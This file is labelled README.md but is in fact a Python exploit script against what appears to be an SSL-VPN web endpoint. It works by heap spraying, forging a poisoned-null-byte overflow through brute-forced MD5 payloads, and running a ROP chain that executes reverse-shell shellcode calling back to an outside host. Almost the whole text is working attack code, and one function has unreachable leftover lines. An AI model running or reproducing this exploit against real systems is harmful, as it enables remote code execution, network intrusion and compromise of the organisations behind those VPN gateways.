README.md
Rendering markdown...
from binascii import hexlify, unhexlify
import requests
import hashlib
import socket
import ssl
import time
import os, sys
import pickle
import glob
import subprocess
import struct
import shellcode
import urllib3
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
p64 = lambda x: struct.pack('<Q', x)
nProcess = 16
#host = '192.168.106.142'
#port = 10443
salt = b''
payload0 = b'00112233'
hash_buffer = b''
#sc = shellcode.reverseshell(host='192.168.106.143', port=9999)
def alloc_ssl():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
#s = ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE)
return s
def free_ssl(s):
s.close()
def heap_spray():
sList = []
for i in range(16):
s = alloc_ssl()
sList.append(s)
for i in range(4):
time.sleep(0.1)
s = alloc_ssl()
sList.append(s)
return sList
def compute_hash(salt, inp):
m = hashlib.md5()
m.update(salt)
m.update(inp[:8])
m.update(b"GCC is the GNU Compiler Collection.")
result = m.digest()
return result
def gen_hash_buffer(data, bufferSize=0x2000):
m = hashlib.md5()
m.update(salt)
m.update(data[:8])
m.update(b"GCC is the GNU Compiler Collection.")
result = m.digest()
buffer = result
while bufferSize >= len(buffer):
m = hashlib.md5()
m.update(buffer[-16:])
result = m.digest()
buffer += result
return buffer
def calc_enc_data_length(data, md5_hash):
length_l = (data[4]) ^ md5_hash[0]
length_h = (data[5]) ^ md5_hash[1]
print(hex(length_l))
print(hex(length_h))
length = (length_h<<8)+length_l
return length
def stupid_calc_size(matched, md5_hash):
for i in range(0x100):
for j in range(0x100):
length_l = (i) ^ md5_hash[0]
length_h = (j) ^ md5_hash[1]
length = (length_h<<8)+length_l
if length == matched:
return [i,j]
return None
def gen_payload(hash_buffer,payload0,offset,target_size=None,custom_payload=None):
hash0 = hash_buffer[:16]
if target_size == None:
target_size= 0x1c00-24-6 + offset+1
encrypted_size = stupid_calc_size(target_size, hash0)
encrypted_size = hexlify(bytes(encrypted_size))
datasize = ((((0x1c00-8-24) // 8 + 1 ) * 8) - 1) * 2
payload = payload0
payload += encrypted_size
#payload += hexlify(hash_buffer)
#payload = payload[:datasize]
#payload = payload.ljust(((((0x1c00-8-24) // 8 + 1 ) * 8) - 1) * 2,b'0')
if custom_payload != None:
payload += custom_payload
payload = payload.ljust(datasize,b'0')
return payload
def payload_poison_null(offset):
payload = gen_payload(hash_buffer, payload0, offset)
return payload
hash0 = hash_buffer[:16]
encrypted_size = stupid_calc_size(0x1c00-24-6 + offset, hash0)
encrypted_size = hexlify(bytes(encrypted_size))
payload = payload0
payload += encrypted_size
payload = payload.ljust(((((0x1c00-8-24) // 8 + 1 ) * 8) - 1) * 2,b'0')
return payload
def trigger(payload):
url = 'https://%s:%d/remote/hostcheck_validate' % (host,port)
data = {b'redir':b'a', b'enc':payload}
out = s.post(url,data=data)
return out
def poison_null(offset):
offset = offset-1
payload = payload_poison_null(offset)
trigger(payload)
trigger(payload)
def main():
global s
s = requests.Session()
s.verify = False
'''
##################
# make a hole
##################
print('[+] heap spray')
sslList = heap_spray()
free_ssl(sslList[-4]) # for vulnerable chunk
free_ssl(sslList[0]) # for exploit chunk
'''
##################
# salt
##################
global salt
url = 'https://%s:%d/remote/info' % (host,port)
out = s.get(url)
salt = out.content.split(b"salt='")[1].split(b"'")[0]
print('[+] salt=%s' % salt)
##################
# calculate hash
##################
# md5_hash = compute_hash(salt, payload0)
global hash_buffer
hash_buffer = gen_hash_buffer(payload0)
#print(hash_buffer[30:])
print('[+] processing hash')
# 0x00f13ad2: push rdi; pop rsp; ret;
# 0x00824bdd: jmp qword ptr [rdi-0x3f];
# requiredValues = [0x00824bdd, 0x00f13ad2]
requiredValues = ['d23af1', 'dd4b82']
requiredOffsets = [0x30, 0x0]
#requiredValues = ['42', '41']
#requiredOffsets = [0x30, 0x0]
print(" [+] finding hash in cache")
# check existing values
allFound = True
for i in range(len(requiredValues)):
value = requiredValues[i]
offset = requiredOffsets[i]
path = '%s/%x_%s*.pickle'%(salt.decode(),offset,value)
fileList = glob.glob(path)
if len(fileList) == 0:
allFound = False
break
if not allFound:
print(' [-] not in cache')
print(' [+] computing')
startBlock = 0x0
blockSize = 0x10000
bufferSize = 0x1d00
valuesString = ','.join(requiredValues)
offsetsString = ','.join(list(map(lambda x: '0x%x' % x, requiredOffsets)))
#cmd = 'python3 run-calc-hashes.py 4 01f7c0d6 0x500000 0x1000 0x1d00 41 0'
cmd = 'python3 run-calc-hashes.py %x %s 0x%x 0x%x 0x%x %s %s' % (nProcess, salt.decode(), startBlock,blockSize, bufferSize, valuesString, offsetsString)
p = subprocess.Popen(cmd.split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = b''
errout = b''
while True:
output += p.stdout.read()
errout += p.stderr.read()
if b"resultList: " in output:
break
if errout != b'':
print(" [-] ERROR OCCURED")
print(errout.decode())
exit()
else:
print(' [+] found in cache')
print(' [+] loading')
seedHashbufferMap = {}
# find and load values
allFound = True
for i in range(len(requiredValues)):
value = requiredValues[i]
offset = requiredOffsets[i]
path = '%s/%x_%s*.pickle'%(salt.decode(),offset,value)
fileList = glob.glob(path)
for filepath in fileList:
#print(filepath)
try:
with open(filepath,"rb") as f:
hash_buffer_map = pickle.load(f)
except:
print(' [-] failed')
continue
matchedSeed = None
for seed in hash_buffer_map:
if hash_buffer_map[seed][0x1c00-28+offset:].startswith(unhexlify(value.encode())):
matchedSeed = seed
seedHashbufferMap[value] = [matchedSeed,hash_buffer_map[matchedSeed]]
break
if matchedSeed != None:
break
#print(seedHashbufferMap)
############################
# Heap spray & make a hole
############################
print('[+] heap spray')
sslList = heap_spray()
free_ssl(sslList[-4]) # for vulnerable chunk
free_ssl(sslList[0]) # for exploit chunk
#################################################################################
# 2nd ROP gadget
# 0x00824bdd: jmp qword ptr [rdi-0x3f];
#################################################################################
# overwrite ssl version
poison_null(0x1)
poison_null(0x0)
targetOffset = requiredOffsets[1]
size = 2 # realsize-1
seed = seedHashbufferMap[requiredValues[1]][0]
hash = seedHashbufferMap[requiredValues[1]][1]
# overwrite
payload = gen_payload(hash, seed, targetOffset+size)
trigger(payload)
# restore existing buffer
payload = gen_payload(hash, seed, targetOffset-2)
trigger(payload)
#######################################################
# Overwrite do_handshake_func ptr
# 0x00f13ad2: push rdi; pop rsp; ret;
#######################################################
targetOffset = 0x30 # handshake_func
size = 2 # real size-1
seed = seedHashbufferMap[requiredValues[0]][0]
hash = seedHashbufferMap[requiredValues[0]][1]
# overwrite
payload = gen_payload(hash, seed, targetOffset+size)
trigger(payload)
# restore existing buffer
payload = gen_payload(hash, seed, targetOffset-2)
trigger(payload)
##############################
# Final ROP payload
##############################
bss = 0x00000000040D0000
pop_rdi_ret = 0x02b67018 # pop rdi; ret;
pop_rsi_ret = 0x02b68191 # pop rsi; ret;
pop_rax_ret = 0x02b0374e # pop rax; ret;
pop_rcx_ret = 0x0290f6a3 # pop rcx; ret;
pop_rdx_ret = 0x029bb282 # pop rdx; ret;
pop_r8_ret = 0x026a63a5 # pop r8; ret;
pop_r12_ret = 0x02b67eda # pop r12; ret;
ret = 0x02b68e48 # ret;
mprotect_plt = 0x000000000043F170
memcpy_plt = 0x000000000043F0A0
rop_payload = b'\x00'*2
rop_payload = rop_payload.ljust(2+0xb0, b'\x40')
# [1] memcpy(bss, rdi,0x2000)
rop_payload += p64(pop_rax_ret) # (0) pop rax; ret;
rop_payload += p64(ret)
rop_payload += p64(0x00465126) # (1) mov rsi, rdi; mov rdi, r9; jmp rax;
rop_payload += p64(pop_rdx_ret) # (2) pop rdx; ret;
rop_payload += p64(0x2000)
rop_payload += p64(pop_rdi_ret) # (3) pop rdi; ret;
rop_payload += p64(bss)
rop_payload += p64(memcpy_plt)
# [2] mprotect(bss, 0x2000, 7)
rop_payload += p64(pop_rdx_ret) # (0) pop rdx; ret;
rop_payload += p64(7)
rop_payload += p64(pop_rsi_ret) # (1) pop rsi; ret;
rop_payload += p64(0x2000)
rop_payload += p64(pop_rdi_ret) # (2) pop rdi; ret;
rop_payload += p64(bss)
rop_payload += p64(mprotect_plt)
# [3] jump to shellcode
rop_payload += p64(bss+0x80)
rop_payload += sc
adjust_offset_size = (0x1c00-24-6-1-0x30-14)
assert(len(rop_payload) <= adjust_offset_size)
rop_payload = rop_payload.ljust(adjust_offset_size, b'\xcc') # offset = $rdi-0x3f
###################
# [0] Stack Pivot
###################
# rax = 0x00f13ad2: push rdi; pop rsp; ret;
rop_payload += p64(0x01c98dcd) # (0) sub rdi, 0x18; jmp rax;
rop_payload += b'\x00'*(7)
rop_payload += p64(0x02186970) # (3) sub rdi, rsi; nop [rax+rax]; nop [rax]; ret;
rop_payload += p64(0x00f13ad2) # (4) push rdi; pop rsp; ret;
rop_payload += p64(0xdeadbeef)
rop_payload += p64(pop_rsi_ret) # (2) pop rsi; ret;
rop_payload += p64(0x1b00)
rop_payload += p64(0x01c98dcd)[:-4] # (1) sub rdi, 0x18; jmp rax;
targetOffset = -1 # handshake_func
size = 0
seed = b'00000000'
hash = compute_hash(salt, seed)
payload = gen_payload(hash, seed, targetOffset, target_size=0xffff,custom_payload=hexlify(rop_payload))
trigger(payload)
print('[+] execute')
#temp = ssl.wrap_socket(sslList[-3], keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE)
sslList[-3].send(b"\x00"*4)
return
if __name__ == '__main__':
assert(len(sys.argv) == 5)
global host, port, rhost, rport
host = sys.argv[1]
port = int(sys.argv[2])
rhost = sys.argv[3]
rport = int(sys.argv[4])
print('[+] generating shellcode')
global sc
sc = shellcode.reverseshell(host='192.168.106.143', port=9999)
main()